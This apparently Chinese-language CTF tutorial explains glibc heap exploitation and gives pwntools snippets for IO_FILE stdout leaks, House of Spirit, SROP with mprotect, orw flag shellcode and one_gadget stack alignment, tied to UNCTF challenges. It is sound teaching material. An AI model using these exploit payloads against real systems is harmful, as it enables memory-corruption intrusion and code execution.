pwn堆入门系列教程10
字数 1713 2025-08-24 20:49:22
Pwn堆利用高级技巧与实战分析
一、基础漏洞利用技巧
1. 数组越界漏洞利用
- 漏洞点:数组index可以输入负数
- 利用方法:通过负数索引修改
IO_stdout结构体 - 典型场景:当程序允许负数索引时,可以修改关键内存区域
2. Double Free高级利用
-
realloc特殊行为:
size == 0:等同于freerealloc_ptr == 0 && size > 0:等同于mallocmalloc_usable_size(realloc_ptr) >= size:等同于editmalloc_usable_size(realloc_ptr) < size:分配更大内存并复制内容
-
利用链:
free(ptr) realloc(ptr,0) # 形成double free
二、IO_FILE攻击技术
1. 泄露libc地址
-
攻击流程:
- 构造伪造的
IO_FILE结构 - 通过越界写入修改
_IO_2_1_stdout_ - 触发输出泄露libc地址
- 构造伪造的
-
关键payload:
payload = p64(0xfbad1800) + p64(0)*3 + '\x00' edit(-12, payload) # 修改stdout结构
2. 调试技巧
- 异常处理:在调试时抛出异常可快速验证利用是否成功
- IDA优化:patch掉不必要的文件操作代码提高调试效率
三、House of Spirit技术
1. 核心原理
- 在目标位置伪造fastbin chunk并释放
- 通过分配获得指定地址的chunk
2. 绕过检查条件
- fake chunk的
ISMMAP位不能为1 - fake chunk地址需要对齐(
MALLOC_ALIGN_MASK) - size大小需满足对应fastbin要求且对齐
- next chunk大小需满足:
2*SIZE_SZ < size < av->system_mem - 不能构成double free情况
3. 典型利用代码
# 构造fake chunk
payload = flat([0, 0xf0, heap_base+0x58-0x18, heap_base+0x58-0x10])
payload = payload.ljust(0xf0) + p64(0xf0)
edit(0, payload)
free(1) # 释放伪造的chunk
四、SROP与内存权限修改
1. mprotect利用
- 功能:修改内存页权限为可执行
- 利用条件:
- 知道内存页地址
- 内存页内容可控
- 了解x64系统调用表
2. SROP攻击流程
- 通过unsortedbin攻击控制
__free_hook - 设置
setcontext+53的SROP帧 - 构造栈迁移布局
- 调用mprotect修改内存权限
- 执行shellcode
3. 关键代码
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = (libc.symbols['__free_hook']) & 0xfffffffffffff000
frame.rdx = 0x2000
frame.rsp = (libc.symbols['__free_hook']) & 0xfffffffffffff000
frame.rip = libc.address + 0x00000000000bc375 # syscall; ret;
五、Shellcode编写技巧
1. 文件操作Shellcode
shellcode = '''
push 0x67616c66 # 'flag'
mov rdi, rsp
xor esi, esi
push 2
pop rax
syscall # open
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall # read
mov edi, 1
mov rsi, rsp
push 1
pop rax
syscall # write
'''
2. pwntools辅助生成
shellcode = shellcraft.amd64.open('flag')
shellcode += '''
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edi, 1
mov rsi, rsp
push 1
pop rax
syscall
'''
六、高级组合利用技巧
1. 栈调整与one_gadget
-
问题:one_gadget环境约束不满足
-
解决方案:
- 将
realloc_hook覆盖为malloc+offset - 通过调整offset控制栈位置
- 使
rsp+offset满足one_gadget条件
- 将
-
关键payload:
# 调整栈位置+0x10 payload = "a"*0xb + p64(malloc+0x2) + p64(libc.address + one_gadget[1])
2. Unsortedbin攻击组合
- 通过unlink造成House of Spirit条件
- 多次House of Spirit攻击
- 结合unsortedbin攻击最终getshell
七、调试与优化技巧
- gdb附加:在关键点attach进程分析内存状态
- 错误处理:使用try-except快速验证利用链
- 性能优化:patch掉不必要的代码段提高效率
- 地址泄露:通过多种方式验证泄露地址的正确性
八、防御绕过技术
- 绕过fastbin检查:精心构造fake chunk的size和next size
- 绕过tcache:利用unsortedbin等非tcache机制
- 绕过ASLR:通过内存泄露获取关键地址
- 绕过PIE:利用程序自身的地址泄露功能
九、实战案例总结
- UNCTF Box:数组越界+IO_FILE攻击+one_gadget栈调整
- UNCTF Driver:House of Spirit+unsortedbin组合攻击
- UNCTF ORW:SROP+mprotect+shellcode综合利用
十、扩展学习建议
- 深入研究glibc malloc源码
- 掌握更多heap利用技术(House of系列)
- 学习内核利用技术扩展攻击面
- 跟踪最新CTF赛题中的创新利用方法
通过系统掌握这些高级堆利用技术,结合实战经验积累,可以有效提升漏洞利用能力和CTF竞赛水平。